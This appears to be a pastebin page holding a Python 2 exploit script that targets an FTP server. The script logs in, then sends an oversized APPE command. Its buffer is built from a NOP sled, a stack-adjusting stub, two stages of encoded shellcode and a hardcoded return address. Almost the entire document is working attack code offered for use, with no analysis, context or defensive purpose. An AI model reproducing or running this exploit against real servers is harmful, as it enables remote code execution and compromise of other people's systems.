Facebook
From SemenderTim, 2 Months ago, written in Python.
Embed
Download Paste or View Raw
Hits: 90
  1. #!/usr/bin/env python
  2. # -*- coding: latin-1 -*-
  3.  
  4.  
  5.  
  6. #Coded by SemenderTim
  7. import socket
  8.  
  9. username = "????????????????????????????????????????????"
  10. password = "?@?"
  11. hostname = "??????"
  12. port = 21
  13.  
  14.  
  15. patch=("\xcc"
  16. "\x89\xe3"
  17. "\x83\xc4\x5a"
  18. "\x83\xc4\x5a"
  19. "\x83\xc4\x5a"
  20. "\x83\xc4\x5a"
  21. "\x83\xc4\x5a"
  22. "\x83\xc4\x3b"
  23. "\xc7\x04\x24\xd8\xd1\xec\xf7"
  24. "\x89\xdc"
  25. "\x31\xdb"
  26. )
  27.  
  28.  
  29. stage1=(
  30. "\x31\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
  31. "\xf8\x6c\x9c\xb0\x83\xee\xfc\xe2\xf4\x04\x84\x15\xb0\xf8\x6c"
  32. "\xfc\x39\x1d\x5d\x4e\xd4\x73\x3e\xac\x3b\xaa\x60\x17\xe2\xec"
  33. "\xe7\xee\x98\xf7\xdb\xd6\x96\xc9\x93\xad\x70\x54\x50\xfd\xcc"
  34. "\xfa\x40\xbc\x71\x37\x61\x9d\x77\x1a\x9c\xce\xe7\x73\x3e\x8c"
  35. "\x3b\xba\x50\x9d\x60\x73\x2c\xe4\x35\x38\x18\xd6\xb1\x28\x3c"
  36. "\x17\xf8\xe0\xe7\xc4\x90\xf9\xbf\x7f\x8c\xb1\xe7\xa8\x3b\xf9"
  37. "\xba\xad\x4f\xc9\xac\x30\x71\x37\x61\x9d\x77\xc0\x8c\xe9\x44"
  38. "\xfb\x11\x64\x8b\x85\x48\xe9\x52\xa0\xe7\xc4\x94\xf9\xbf\xfa"
  39. "\x3b\xf4\x27\x17\xe8\xe4\x6d\x4f\x3b\xfc\xe7\x9d\x60\x71\x28"
  40. "\xb8\x94\xa3\x37\xfd\xe9\xa2\x3d\x63\x50\xa0\x33\xc6\x3b\xea"
  41. "\x87\x1a\xed\x90\x5f\xae\xb0\xf8\x04\xeb\xc3\xca\x33\xc8\xd8"
  42. "\xb4\x1b\xba\xb7\x07\xb9\x24\x20\xf9\x6c\x9c\x99\x3c\x38\xcc"
  43. )
  44. stage2=(
  45. "\xb0\x07\xb9\xcc\xe0\xa8\x3c\xdc\xe0\xb8\x3c"
  46. "\xf4\x5a\xf7\xb3\x7c\x4f\x2d\xe5\x5b\x81\x23\x3f\xf4\xb2\xf8"
  47. "\x7d\xc0\x39\x1e\x06\x8c\xe6\xaf\x04\x5e\x6b\xcf\x0b\x63\x65"
  48. "\xab\x3b\xf4\x07\x11\x54\x63\x4f\x2d\x3f\xcf\xe7\x90\x18\x70"
  49. "\x8b\x19\x93\x49\xe7\x71\xab\xf4\xc5\x96\x21\xfd\x4f\x2d\x04"
  50. "\xff\xdd\x9c\x6c\x15\x53\xaf\x3b\xcb\x81\x0e\x06\x8e\xe9\xae"
  51. "\x8e\x61\xd6\x3f\x28\xb8\x8c\xf9\x6d\x11\xf4\xdc\x7c\x5a\xb0"
  52. "\xbc\x38\xcc\xe6\xae\x3a\xda\xe6\xb6\x3a\xca\xe3\xae\x04\xe5"
  53. "\x7c\xc7\xea\x63\x65\x71\x8c\xd2\xe6\xbe\x93\xac\xd8\xf0\xeb"
  54. "\x81\xd0\x07\xb9\x27\x50\xe5\x46\x96\xd8\x5e\xf9\x21\x2d\x07"
  55.  
  56. "\xb9\xa0\xb6\x84\x66\x1c\x4b\x18\x19\x99\x0b\xbf\x7f\xee\xdf"
  57. "\x92\x6c\xcf\x4f\x2d\x6c\x9c\xb0"
  58. )
  59. buffer = "\x90" * (258 - (len(patch) + len(stage1))) + patch + "\x90"*10 + stage1 + "\x5d\xfd\x9b\x00" + stage2 + "\x90" * 50
  60.  
  61. s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  62. s.settimeout(5)
  63. s.connect((hostname, port))
  64. a = s.recv(1024)
  65. print a
  66. s.send("user " + username + "\r\n")
  67. a =s.recv(1024)
  68. print a
  69. s.send("pass " + password + "\r\n")
  70. a = s.recv(1024)
  71. print a
  72. s.send("APPE " + buffer + "\r\n")
  73. s.close()